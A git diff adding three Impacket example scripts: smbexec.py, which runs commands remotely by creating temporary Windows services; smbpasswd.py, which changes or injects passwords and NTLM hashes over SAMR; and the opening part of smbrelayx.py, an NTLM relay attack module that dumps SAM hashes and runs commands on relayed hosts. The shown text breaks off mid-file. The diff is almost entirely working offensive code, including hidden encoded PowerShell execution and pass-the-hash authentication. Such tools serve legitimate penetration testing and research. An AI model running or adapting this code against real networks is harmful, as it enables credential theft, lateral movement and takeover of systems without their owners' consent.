diff --git a/examples/smbexec.py b/examples/smbexec.py
new file mode 100644
index 0000000..03fa6ac
--- /dev/null
+++ b/examples/smbexec.py
@@ -0,0 +1,404 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2021 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   A similar approach to psexec w/o using RemComSvc. The technique is described here
+#   https://www.optiv.com/blog/owning-computers-without-shell-access
+#   Our implementation goes one step further, instantiating a local smbserver to receive the
+#   output of the commands. This is useful in the situation where the target machine does NOT
+#   have a writeable share available.
+#   Keep in mind that, although this technique might help avoiding AVs, there are a lot of
+#   event logs generated and you can't expect executing tasks that will last long since Windows
+#   will kill the process since it's not responding as a Windows service.
+#   Certainly not a stealthy way.
+#
+#   This script works in two ways:
+#       1) share mode: you specify a share, and everything is done through that share.
+#       2) server mode: if for any reason there's no share available, this script will launch a local
+#          SMB server, so the output of the commands executed are sent back by the target machine
+#          into a locally shared folder. Keep in mind you would need root access to bind to port 445
+#          in the local machine.
+#
+# Author:
+#   beto (@agsolino)
+#
+# Reference for:
+#   DCE/RPC and SMB.
+#
+
+from __future__ import division
+from __future__ import print_function
+import sys
+import os
+import cmd
+import argparse
+try:
+    import ConfigParser
+except ImportError:
+    import configparser as ConfigParser
+import logging
+from threading import Thread
+from base64 import b64encode
+
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket import version, smbserver
+from impacket.dcerpc.v5 import transport, scmr
+from impacket.krb5.keytab import Keytab
+
+OUTPUT_FILENAME = '__output'
+BATCH_FILENAME  = 'execute.bat'
+SMBSERVER_DIR   = '__tmp'
+DUMMY_SHARE     = 'TMP'
+SERVICE_NAME    = 'BTOBTO'
+CODEC = sys.stdout.encoding
+
+class SMBServer(Thread):
+    def __init__(self):
+        Thread.__init__(self)
+        self.smb = None
+
+    def cleanup_server(self):
+        logging.info('Cleaning up..')
+        try:
+            os.unlink(SMBSERVER_DIR + '/smb.log')
+        except OSError:
+            pass
+        os.rmdir(SMBSERVER_DIR)
+
+    def run(self):
+        # Here we write a mini config for the server
+        smbConfig = ConfigParser.ConfigParser()
+        smbConfig.add_section('global')
+        smbConfig.set('global','server_name','server_name')
+        smbConfig.set('global','server_os','UNIX')
+        smbConfig.set('global','server_domain','WORKGROUP')
+        smbConfig.set('global','log_file',SMBSERVER_DIR + '/smb.log')
+        smbConfig.set('global','credentials_file','')
+
+        # Let's add a dummy share
+        smbConfig.add_section(DUMMY_SHARE)
+        smbConfig.set(DUMMY_SHARE,'comment','')
+        smbConfig.set(DUMMY_SHARE,'read only','no')
+        smbConfig.set(DUMMY_SHARE,'share type','0')
+        smbConfig.set(DUMMY_SHARE,'path',SMBSERVER_DIR)
+
+        # IPC always needed
+        smbConfig.add_section('IPC$')
+        smbConfig.set('IPC$','comment','')
+        smbConfig.set('IPC$','read only','yes')
+        smbConfig.set('IPC$','share type','3')
+        smbConfig.set('IPC$','path')
+
+        self.smb = smbserver.SMBSERVER(('0.0.0.0',445), config_parser = smbConfig)
+        logging.info('Creating tmp directory')
+        try:
+            os.mkdir(SMBSERVER_DIR)
+        except Exception as e:
+            logging.critical(str(e))
+            pass
+        logging.info('Setting up SMB Server')
+        self.smb.processConfigFile()
+        logging.info('Ready to listen...')
+        try:
+            self.smb.serve_forever()
+        except:
+            pass
+
+    def stop(self):
+        self.cleanup_server()
+        self.smb.socket.close()
+        self.smb.server_close()
+        self._Thread__stop()
+
+class CMDEXEC:
+    def __init__(self, username='', password='', domain='', hashes=None, aesKey=None, doKerberos=None,
+                 kdcHost=None, mode=None, share=None, port=445, serviceName=SERVICE_NAME, shell_type=None):
+
+        self.__username = username
+        self.__password = password
+        self.__port = port
+        self.__serviceName = serviceName
+        self.__domain = domain
+        self.__lmhash = ''
+        self.__nthash = ''
+        self.__aesKey = aesKey
+        self.__doKerberos = doKerberos
+        self.__kdcHost = kdcHost
+        self.__share = share
+        self.__mode  = mode
+        self.__shell_type = shell_type
+        self.shell = None
+        if hashes is not None:
+            self.__lmhash, self.__nthash = hashes.split(':')
+
+    def run(self, remoteName, remoteHost):
+        stringbinding = r'ncacn_np:%s[\pipe\svcctl]' % remoteName
+        logging.debug('StringBinding %s'%stringbinding)
+        rpctransport = transport.DCERPCTransportFactory(stringbinding)
+        rpctransport.set_dport(self.__port)
+        rpctransport.setRemoteHost(remoteHost)
+        if hasattr(rpctransport, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpctransport.set_credentials(self.__username, self.__password, self.__domain, self.__lmhash,
+                                         self.__nthash, self.__aesKey)
+        rpctransport.set_kerberos(self.__doKerberos, self.__kdcHost)
+
+        self.shell = None
+        try:
+            if self.__mode == 'SERVER':
+                serverThread = SMBServer()
+                serverThread.daemon = True
+                serverThread.start()
+            self.shell = RemoteShell(self.__share, rpctransport, self.__mode, self.__serviceName, self.__shell_type)
+            self.shell.cmdloop()
+            if self.__mode == 'SERVER':
+                serverThread.stop()
+        except  (Exception, KeyboardInterrupt) as e:
+            if logging.getLogger().level == logging.DEBUG:
+                import traceback
+                traceback.print_exc()
+            logging.critical(str(e))
+            if self.shell is not None:
+                self.shell.finish()
+            sys.stdout.flush()
+            sys.exit(1)
+
+class RemoteShell(cmd.Cmd):
+    def __init__(self, share, rpc, mode, serviceName, shell_type):
+        cmd.Cmd.__init__(self)
+        self.__share = share
+        self.__mode = mode
+        self.__output = '\\\\127.0.0.1\\' + self.__share + '\\' + OUTPUT_FILENAME
+        self.__batchFile = '%TEMP%\\' + BATCH_FILENAME
+        self.__outputBuffer = b''
+        self.__command = ''
+        self.__shell = '%COMSPEC% /Q /c '
+        self.__shell_type = shell_type
+        self.__pwsh = 'powershell.exe -NoP -NoL -sta -NonI -W Hidden -Exec Bypass -Enc '
+        self.__serviceName = serviceName
+        self.__rpc = rpc
+        self.intro = '[!] Launching semi-interactive shell - Careful what you execute'
+
+        self.__scmr = rpc.get_dce_rpc()
+        try:
+            self.__scmr.connect()
+        except Exception as e:
+            logging.critical(str(e))
+            sys.exit(1)
+
+        s = rpc.get_smb_connection()
+
+        # We don't wanna deal with timeouts from now on.
+        s.setTimeout(100000)
+        if mode == 'SERVER':
+            myIPaddr = s.getSMBServer().get_socket().getsockname()[0]
+            self.__copyBack = 'copy %s \\\\%s\\%s' % (self.__output, myIPaddr, DUMMY_SHARE)
+
+        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
+        resp = scmr.hROpenSCManagerW(self.__scmr)
+        self.__scHandle = resp['lpScHandle']
+        self.transferClient = rpc.get_smb_connection()
+        self.do_cd('')
+
+    def finish(self):
+        # Just in case the service is still created
+        try:
+           self.__scmr = self.__rpc.get_dce_rpc()
+           self.__scmr.connect()
+           self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
+           resp = scmr.hROpenSCManagerW(self.__scmr)
+           self.__scHandle = resp['lpScHandle']
+           resp = scmr.hROpenServiceW(self.__scmr, self.__scHandle, self.__serviceName)
+           service = resp['lpServiceHandle']
+           scmr.hRDeleteService(self.__scmr, service)
+           scmr.hRControlService(self.__scmr, service, scmr.SERVICE_CONTROL_STOP)
+           scmr.hRCloseServiceHandle(self.__scmr, service)
+        except scmr.DCERPCException:
+           pass
+
+    def do_shell(self, s):
+        os.system(s)
+
+    def do_exit(self, s):
+        return True
+
+    def do_EOF(self, s):
+        print()
+        return self.do_exit(s)
+
+    def emptyline(self):
+        return False
+
+    def do_cd(self, s):
+        # We just can't CD or maintain track of the target dir.
+        if len(s) > 0:
+            logging.error("You can't CD under SMBEXEC. Use full paths.")
+
+        self.execute_remote('cd ' )
+        if len(self.__outputBuffer) > 0:
+            # Stripping CR/LF
+            self.prompt = self.__outputBuffer.decode().replace('\r\n','') + '>'
+            if self.__shell_type == 'powershell':
+                self.prompt = 'PS ' + self.prompt + ' '
+            self.__outputBuffer = b''
+
+    def do_CD(self, s):
+        return self.do_cd(s)
+
+    def default(self, line):
+        if line != '':
+            self.send_data(line)
+
+    def get_output(self):
+        def output_callback(data):
+            self.__outputBuffer += data
+
+        if self.__mode == 'SHARE':
+            self.transferClient.getFile(self.__share, OUTPUT_FILENAME, output_callback)
+            self.transferClient.deleteFile(self.__share, OUTPUT_FILENAME)
+        else:
+            fd = open(SMBSERVER_DIR + '/' + OUTPUT_FILENAME,'r')
+            output_callback(fd.read())
+            fd.close()
+            os.unlink(SMBSERVER_DIR + '/' + OUTPUT_FILENAME)
+
+    def execute_remote(self, data, shell_type='cmd'):
+        if shell_type == 'powershell':
+            data = '$ProgressPreference="SilentlyContinue";' + data
+            data = self.__pwsh + b64encode(data.encode('utf-16le')).decode()
+
+        command = self.__shell + 'echo ' + data + ' ^> ' + self.__output + ' 2^>^&1 > ' + self.__batchFile + ' & ' + \
+                  self.__shell + self.__batchFile
+
+        if self.__mode == 'SERVER':
+            command += ' & ' + self.__copyBack
+        command += ' & ' + 'del ' + self.__batchFile
+
+        logging.debug('Executing %s' % command)
+        resp = scmr.hRCreateServiceW(self.__scmr, self.__scHandle, self.__serviceName, self.__serviceName,
+                                     lpBinaryPathName=command, dwStartType=scmr.SERVICE_DEMAND_START)
+        service = resp['lpServiceHandle']
+
+        try:
+           scmr.hRStartServiceW(self.__scmr, service)
+        except:
+           pass
+        scmr.hRDeleteService(self.__scmr, service)
+        scmr.hRCloseServiceHandle(self.__scmr, service)
+        self.get_output()
+
+    def send_data(self, data):
+        self.execute_remote(data, self.__shell_type)
+        try:
+            print(self.__outputBuffer.decode(CODEC))
+        except UnicodeDecodeError:
+            logging.error('Decoding error detected, consider running chcp.com at the target,\nmap the result with '
+                          'https://docs.python.org/3/library/codecs.html#standard-encodings\nand then execute smbexec.py '
+                          'again with -codec and the corresponding codec')
+            print(self.__outputBuffer.decode(CODEC, errors='replace'))
+        self.__outputBuffer = b''
+
+
+# Process command-line arguments.
+if __name__ == '__main__':
+    print(version.BANNER)
+
+    parser = argparse.ArgumentParser()
+
+    parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+    parser.add_argument('-share', action='store', default = 'C$', help='share where the output will be grabbed from '
+                                                                       '(default C$)')
+    parser.add_argument('-mode', action='store', choices = {'SERVER','SHARE'}, default='SHARE',
+                        help='mode to use (default SHARE, SERVER needs root!)')
+    parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')
+    parser.add_argument('-debug', action='store_true', help='Turn DEBUG output ON')
+    parser.add_argument('-codec', action='store', help='Sets encoding used (codec) from the target\'s output (default '
+                                                       '"%s"). If errors are detected, run chcp.com at the target, '
+                                                       'map the result with '
+                          'https://docs.python.org/3/library/codecs.html#standard-encodings and then execute smbexec.py '
+                          'again with -codec and the corresponding codec ' % CODEC)
+    parser.add_argument('-shell-type', action='store', default = 'cmd', choices = ['cmd', 'powershell'], help='choose '
+                        'a command processor for the semi-interactive shell')
+
+    group = parser.add_argument_group('connection')
+
+    group.add_argument('-dc-ip', action='store',metavar = "ip address", help='IP Address of the domain controller. '
+                       'If omitted it will use the domain part (FQDN) specified in the target parameter')
+    group.add_argument('-target-ip', action='store', metavar="ip address", help='IP Address of the target machine. If '
+                       'ommited it will use whatever was specified as target. This is useful when target is the NetBIOS '
+                       'name and you cannot resolve it')
+    group.add_argument('-port', choices=['139', '445'], nargs='?', default='445', metavar="destination port",
+                       help='Destination port to connect to SMB Server')
+    group.add_argument('-service-name', action='store', metavar="service_name", default = SERVICE_NAME, help='The name of the'
+                                         'service used to trigger the payload')
+
+    group = parser.add_argument_group('authentication')
+
+    group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH')
+    group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)')
+    group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file '
+                       '(KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the '
+                       'ones specified in the command line')
+    group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication '
+                                                                            '(128 or 256 bits)')
+    group.add_argument('-keytab', action="store", help='Read keys for SPN from keytab file')
+
+
+    if len(sys.argv)==1:
+        parser.print_help()
+        sys.exit(1)
+
+    options = parser.parse_args()
+
+    # Init the example's logger theme
+    logger.init(options.ts)
+
+    if options.codec is not None:
+        CODEC = options.codec
+    else:
+        if CODEC is None:
+            CODEC = 'utf-8'
+
+    if options.debug is True:
+        logging.getLogger().setLevel(logging.DEBUG)
+        # Print the Library's installation path
+        logging.debug(version.getInstallationPath())
+    else:
+        logging.getLogger().setLevel(logging.INFO)
+
+    domain, username, password, remoteName = parse_target(options.target)
+
+    if domain is None:
+        domain = ''
+
+    if options.keytab is not None:
+        Keytab.loadKeysFromKeytab (options.keytab, username, domain, options)
+        options.k = True
+
+    if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None:
+        from getpass import getpass
+        password = getpass("Password:")
+
+    if options.target_ip is None:
+        options.target_ip = remoteName
+
+    if options.aesKey is not None:
+        options.k = True
+
+    try:
+        executer = CMDEXEC(username, password, domain, options.hashes, options.aesKey, options.k, options.dc_ip,
+                           options.mode, options.share, int(options.port), options.service_name, options.shell_type)
+        executer.run(remoteName, options.target_ip)
+    except Exception as e:
+        if logging.getLogger().level == logging.DEBUG:
+            import traceback
+            traceback.print_exc()
+        logging.critical(str(e))
+    sys.exit(0)
diff --git a/examples/smbpasswd.py b/examples/smbpasswd.py
new file mode 100644
index 0000000..41151b7
--- /dev/null
+++ b/examples/smbpasswd.py
@@ -0,0 +1,281 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#  	This script is an alternative to smbpasswd tool and intended to be used
+#  	for changing passwords remotely over SMB (MSRPC-SAMR). It can perform the
+#  	password change when the current password is expired, and supports NTLM
+#  	hashes as a new password value instead of a plaintext value. As for the
+#  	latter approach the new password is flagged as expired after the change
+#  	due to how SamrChangePasswordUser function works.
+#
+# 	Examples:
+#  		smbpasswd.py j.doe@192.168.1.11
+#  		smbpasswd.py contoso.local/j.doe@DC1 -hashes :fc525c9683e8fe067095ba2ddc971889
+#  		smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!'
+#  		smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb
+#  		smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newpass 'N3wPassw0rd!' -altuser administrator -altpass 'Adm1nPassw0rd!'
+#  		smbpasswd.py contoso.local/j.doe:'Passw0rd!'@DC1 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/administrator -altpass 'Adm1nPassw0rd!' -admin
+#  		smbpasswd.py SRV01/administrator:'Passw0rd!'@10.10.13.37 -newhashes :126502da14a98b58f2c319b81b3a49cb -altuser CONTOSO/SrvAdm -althash 6fe945ead39a7a6a2091001d98a913ab
+#
+# Author:
+#  	@snovvcrash
+#  	@bransh
+#  	@alefburzmali
+#
+# References:
+#  	https://snovvcrash.github.io/2020/10/31/pretending-to-be-smbpasswd-with-impacket.html
+#  	https://www.n00py.io/2021/09/resetting-expired-passwords-remotely/
+#  	https://github.com/samba-team/samba/blob/master/source3/utils/smbpasswd.c
+#  	https://github.com/SecureAuthCorp/impacket/pull/381
+#  	https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/acb3204a-da8b-478e-9139-1ea589edb880
+#  	https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/9699d8ca-e1a4-433c-a8c3-d7bebeb01476
+#  	https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-samr/538222f7-1b89-4811-949a-0eac62e38dce
+#
+
+import sys
+import logging
+from getpass import getpass
+from argparse import ArgumentParser
+
+from impacket import version
+from impacket.examples import logger
+from impacket.examples.utils import parse_target
+from impacket.dcerpc.v5 import transport, samr
+
+
+class SMBPasswd:
+
+	def __init__(self, address, domain='', username='', oldPassword='', newPassword='', oldPwdHashLM='', oldPwdHashNT='', newPwdHashLM='', newPwdHashNT=''):
+		self.address = address
+		self.domain = domain
+		self.username = username
+		self.oldPassword = oldPassword
+		self.newPassword = newPassword
+		self.oldPwdHashLM = oldPwdHashLM
+		self.oldPwdHashNT = oldPwdHashNT
+		self.newPwdHashLM = newPwdHashLM
+		self.newPwdHashNT = newPwdHashNT
+		self.dce = None
+
+	def connect(self, domain='', username='', password='', nthash='', anonymous=False):
+		rpctransport = transport.SMBTransport(self.address, filename=r'\samr')
+		if anonymous:
+			rpctransport.set_credentials(username='', password='', domain='', lmhash='', nthash='', aesKey='')
+		elif username != '':
+			lmhash = ''
+			rpctransport.set_credentials(username, password, domain, lmhash, nthash, aesKey='')
+		else:
+			rpctransport.set_credentials(self.username, self.oldPassword, self.domain, self.oldPwdHashLM, self.oldPwdHashNT, aesKey='')
+
+		self.dce = rpctransport.get_dce_rpc()
+		self.dce.connect()
+		self.dce.bind(samr.MSRPC_UUID_SAMR)
+
+	def hSamrUnicodeChangePasswordUser2(self):
+		try:
+			resp = samr.hSamrUnicodeChangePasswordUser2(self.dce, '\x00', self.username, self.oldPassword, self.newPassword, self.oldPwdHashLM, self.oldPwdHashNT)
+		except Exception as e:
+			if 'STATUS_PASSWORD_RESTRICTION' in str(e):
+				logging.critical('Some password update rule has been violated. For example, the password may not meet length criteria.')
+			else:
+				raise e
+		else:
+			if resp['ErrorCode'] == 0:
+				logging.info('Password was changed successfully.')
+			else:
+				logging.error('Non-zero return code, something weird happened.')
+				resp.dump()
+
+	def hSamrChangePasswordUser(self):
+		try:
+			serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle']
+			domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId']
+			domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle']
+			userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0]
+			userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle']
+		except Exception as e:
+			if 'STATUS_NO_SUCH_DOMAIN' in str(e):
+				logging.critical('Wrong realm. Try to set the domain name for the target user account explicitly in format DOMAIN/username.')
+				return
+			else:
+				raise e
+
+		try:
+			resp = samr.hSamrChangePasswordUser(self.dce, userHandle, self.oldPassword, newPassword='', oldPwdHashNT=self.oldPwdHashNT,
+                                                newPwdHashLM=self.newPwdHashLM, newPwdHashNT=self.newPwdHashNT)
+		except Exception as e:
+			if 'STATUS_PASSWORD_RESTRICTION' in str(e):
+				logging.critical('Some password update rule has been violated. For example, the password history policy may prohibit the use of recent passwords.')
+			else:
+				raise e
+		else:
+			if resp['ErrorCode'] == 0:
+				logging.info('NTLM hashes were changed successfully.')
+			else:
+				logging.error('Non-zero return code, something weird happened.')
+				resp.dump()
+
+	def hSamrSetInformationUser(self):
+		try:
+			serverHandle = samr.hSamrConnect(self.dce, self.address + '\x00')['ServerHandle']
+			domainSID = samr.hSamrLookupDomainInSamServer(self.dce, serverHandle, self.domain)['DomainId']
+			domainHandle = samr.hSamrOpenDomain(self.dce, serverHandle, domainId=domainSID)['DomainHandle']
+			userRID = samr.hSamrLookupNamesInDomain(self.dce, domainHandle, (self.username,))['RelativeIds']['Element'][0]
+			userHandle = samr.hSamrOpenUser(self.dce, domainHandle, userId=userRID)['UserHandle']
+		except Exception as e:
+			if 'STATUS_NO_SUCH_DOMAIN' in str(e):
+				logging.critical('Wrong realm. Try to set the domain name for the target user account explicitly in format DOMAIN/username.')
+				return
+			else:
+				raise e
+		try:
+			resp = samr.hSamrSetNTInternal1(self.dce, userHandle, self.newPassword, self.newPwdHashNT)
+		except Exception as e:
+			raise e
+		else:
+			if resp['ErrorCode'] == 0:
+				logging.info('Credentials were injected into SAM successfully.')
+			else:
+				logging.error('Non-zero return code, something weird happened.')
+				resp.dump()
+
+
+def init_logger(options):
+	logger.init(options.ts)
+	if options.debug is True:
+		logging.getLogger().setLevel(logging.DEBUG)
+		logging.debug(version.getInstallationPath())
+	else:
+		logging.getLogger().setLevel(logging.INFO)
+
+
+def parse_args():
+	parser = ArgumentParser(description='Change password over SMB.')
+
+	parser.add_argument('target', action='store', help='[[domain/]username[:password]@]<targetName or address>')
+	parser.add_argument('-ts', action='store_true', help='adds timestamp to every logging output')
+	parser.add_argument('-debug', action='store_true', help='turn DEBUG output ON')
+
+	group = parser.add_mutually_exclusive_group()
+	group.add_argument('-newpass', action='store', default=None, help='new SMB password')
+	group.add_argument('-newhashes', action='store', default=None, metavar='LMHASH:NTHASH', help='new NTLM hashes, format is LMHASH:NTHASH '
+                                                                           '(the user will be asked to change their password at next logon)')
+
+	group = parser.add_argument_group('authentication')
+	group.add_argument('-hashes', action='store', default=None, metavar='LMHASH:NTHASH', help='NTLM hashes, format is LMHASH:NTHASH')
+
+	group = parser.add_argument_group('RPC authentication')
+	group.add_argument('-altuser', action='store', default=None, help='alternative username')
+	group.add_argument('-altpass', action='store', default=None, help='alternative password')
+	group.add_argument('-althash', action='store', default=None, help='alternative NT hash')
+
+	group = parser.add_argument_group('set credentials method')
+	group.add_argument('-admin', action='store_true', help='injects credentials into SAM (requires admin\'s priveleges on a machine, '
+		               'but can bypass password history policy)')
+
+	return parser.parse_args()
+
+
+if __name__ == '__main__':
+	print(version.BANNER)
+
+	options = parse_args()
+	init_logger(options)
+
+	domain, username, oldPassword, address = parse_target(options.target)
+
+	if domain is None:
+		domain = 'Builtin'
+
+	if options.hashes is not None:
+		try:
+			oldPwdHashLM, oldPwdHashNT = options.hashes.split(':')
+		except ValueError:
+			logging.critical('Wrong hashes string format. For more information run with --help option.')
+			sys.exit(1)
+	else:
+		oldPwdHashLM = ''
+		oldPwdHashNT = ''
+
+	if oldPassword == '' and oldPwdHashNT == '' and not options.admin:
+		oldPassword = getpass('Current SMB password: ')
+
+	if options.newhashes is not None:
+		try:
+			newPwdHashLM, newPwdHashNT = options.newhashes.split(':')
+		except ValueError:
+			logging.critical('Wrong new hashes string format. For more information run with --help option.')
+			sys.exit(1)
+		newPassword = ''
+	else:
+		newPwdHashLM = ''
+		newPwdHashNT = ''
+		if options.newpass is None:
+			newPassword = getpass('New SMB password: ')
+			if newPassword != getpass('Retype new SMB password: '):
+				logging.critical('Passwords do not match, try again.')
+				sys.exit(1)
+		else:
+			newPassword = options.newpass
+
+	smbpasswd = SMBPasswd(address, domain, username, oldPassword, newPassword, oldPwdHashLM, oldPwdHashNT, newPwdHashLM, newPwdHashNT)
+
+	if options.altuser is not None:
+		try:
+			altDomain, altUsername = options.altuser.split('/')
+		except ValueError:
+			altDomain = domain
+			altUsername = options.altuser
+
+		if options.altpass is not None and options.althash is None:
+			altPassword = options.altpass
+			altNTHash = ''
+		elif options.altpass is None and options.althash is not None:
+			altPassword = ''
+			altNTHash = options.althash
+		elif options.altpass is None and options.althash is None:
+			logging.critical('Please, provide either alternative password or NT hash for RPC authentication.')
+			sys.exit(1)
+		else:  # if options.altpass is not None and options.althash is not None
+			logging.critical('Argument -altpass not allowed with argument -althash.')
+			sys.exit(1)
+	else:
+		altUsername = ''
+
+	try:
+		if altUsername == '':
+			smbpasswd.connect()
+		else:
+			logging.debug('Using {}\\{} credentials to connect to RPC.'.format(altDomain, altUsername))
+			smbpasswd.connect(altDomain, altUsername, altPassword, altNTHash)
+	except Exception as e:
+		if any(msg in str(e) for msg in ['STATUS_PASSWORD_MUST_CHANGE', 'STATUS_PASSWORD_EXPIRED']):
+			if newPassword:
+				logging.warning('Password is expired, trying to bind with a null session.')
+				smbpasswd.connect(anonymous=True)
+			else:
+				logging.critical('Cannot set new NTLM hashes when current password is expired. Provide a plaintext value for the new password.')
+				sys.exit(1)
+		elif 'STATUS_LOGON_FAILURE' in str(e):
+			logging.critical('Authentication failure.')
+			sys.exit(1)
+		else:
+			raise e
+
+	if options.admin:
+		# Inject credentials into SAM (requires admin's privileges)
+		smbpasswd.hSamrSetInformationUser()
+	else:
+		if newPassword:
+			# If using a plaintext value for the new password
+			smbpasswd.hSamrUnicodeChangePasswordUser2()
+		else:
+			# If using NTLM hashes for the new password
+			smbpasswd.hSamrChangePasswordUser()
diff --git a/examples/smbrelayx.py b/examples/smbrelayx.py
new file mode 100644
index 0000000..4ce1893
--- /dev/null
+++ b/examples/smbrelayx.py
@@ -0,0 +1,1221 @@
+#!/usr/bin/env python
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2020 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   SMB Relay Module
+#   This module performs the SMB Relay attacks originally discovered
+#   by cDc. It receives a list of targets and for every connection received it
+#   will choose the next target and try to relay the credentials. Also, if
+#   specified, it will first to try authenticate against the client connecting
+#   to us.
+#
+#   It is implemented by invoking a SMB and HTTP Server, hooking to a few
+#   functions and then using the smbclient portion. It is supposed to be
+#   working on any LM Compatibility level. The only way to stop this attack
+#   is to enforce on the server SPN checks and or signing.
+#
+#   If the target system is enforcing signing and a machine account was provided,
+#   the module will try to gather the SMB session key through
+#   NETLOGON (CVE-2015-0005).
+#
+#   If the authentication against the targets succeed, the client authentication
+#   success as well and a valid connection is set against the local smbserver.
+#   It's up to the user to set up the local smbserver functionality. One option
+#   is to set up shares with whatever files you want to the victim thinks it's
+#   connected to a valid SMB server. All that is done through the smb.conf file or
+#   programmatically.
+#
+# Author:
+#   Alberto Solino (@agsolino)
+#
+
+from __future__ import division
+from __future__ import print_function
+try:
+    import ConfigParser
+except ImportError:
+    import configparser as ConfigParser
+import http.server
+import socketserver
+import argparse
+import base64
+import logging
+import os
+import sys
+try:
+    from urllib.parse import urlparse
+except ImportError:
+    from urlparse import urlparse
+from binascii import unhexlify, hexlify
+from struct import pack, unpack
+from threading import Thread
+from six import PY2
+
+from impacket import version
+from impacket.dcerpc.v5 import nrpc
+from impacket.dcerpc.v5 import transport
+from impacket.dcerpc.v5.ndr import NULL
+from impacket.dcerpc.v5.rpcrt import DCERPCException
+from impacket.examples import logger
+from impacket.examples import serviceinstall
+from impacket.examples.ntlmrelayx.servers.socksserver import activeConnections, SOCKS
+from impacket.examples.ntlmrelayx.clients.smbrelayclient import SMBRelayClient
+from impacket.nt_errors import ERROR_MESSAGES
+from impacket.nt_errors import STATUS_LOGON_FAILURE, STATUS_SUCCESS, STATUS_ACCESS_DENIED, STATUS_NOT_SUPPORTED, \
+    STATUS_MORE_PROCESSING_REQUIRED
+from impacket.ntlm import NTLMAuthChallengeResponse, NTLMAuthNegotiate, NTLMAuthChallenge, AV_PAIRS, \
+    NTLMSSP_AV_HOSTNAME, generateEncryptedSessionKey
+from impacket.smb import NewSMBPacket, SMBCommand, SMB, SMBSessionSetupAndX_Data, SMBSessionSetupAndX_Extended_Data, \
+    SMBSessionSetupAndX_Extended_Response_Parameters, SMBSessionSetupAndX_Extended_Response_Data, \
+    SMBSessionSetupAndX_Parameters, SMBSessionSetupAndX_Extended_Parameters, TypesMech, \
+    SMBSessionSetupAndXResponse_Parameters, SMBSessionSetupAndXResponse_Data
+from impacket.smb3 import SMB3
+from impacket.smbconnection import SMBConnection
+from impacket.smbserver import outputToJohnFormat, writeJohnOutputToFile, SMBSERVER
+from impacket.spnego import ASN1_AID, SPNEGO_NegTokenResp, SPNEGO_NegTokenInit
+
+try:
+ from Cryptodome.Cipher import DES, AES, ARC4
+except Exception:
+    logging.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
+    logging.critical("See https://pypi.org/project/pycryptodomex/")
+
+# Global Variables
+# This is the list of hosts that have been attacked already in case -one-shot was chosen
+ATTACKED_HOSTS = set()
+CODEC = sys.getdefaultencoding()
+
+class doAttack(Thread):
+    def __init__(self, SMBClient, exeFile, command):
+        Thread.__init__(self)
+
+        if isinstance(SMBClient, SMB) or isinstance(SMBClient, SMB3):
+            self.__SMBConnection = SMBConnection(existingConnection = SMBClient)
+        else:
+            self.__SMBConnection = SMBClient
+
+        self.__exeFile = exeFile
+        self.__command = command
+        self.__answerTMP = b''
+        if exeFile is not None:
+            self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile)
+
+    def __answer(self, data):
+        self.__answerTMP += data
+
+    def run(self):
+        # Here PUT YOUR CODE!
+        global ATTACKED_HOSTS
+        if self.__exeFile is not None:
+            result = self.installService.install()
+            if result is True:
+                logging.info("Service Installed.. CONNECT!")
+                self.installService.uninstall()
+            else:
+                ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
+        else:
+            from impacket.examples.secretsdump import RemoteOperations, SAMHashes
+            samHashes = None
+            try:
+                # We have to add some flags just in case the original client did not
+                # Why? needed for avoiding INVALID_PARAMETER
+                flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags()
+                flags2 |= SMB.FLAGS2_LONG_NAMES
+                self.__SMBConnection.getSMBServer().set_flags(flags2=flags2)
+
+                remoteOps  = RemoteOperations(self.__SMBConnection, False)
+                remoteOps.enableRegistry()
+            except Exception as e:
+                logging.debug('Exception:', exc_info=True)
+                # Something wen't wrong, most probably we don't have access as admin. aborting
+                logging.error(str(e))
+                ATTACKED_HOSTS.remove(self.__SMBConnection.getRemoteHost())
+                return
+
+            try:
+                if self.__command is not None:
+                    remoteOps._RemoteOperations__executeRemote(self.__command)
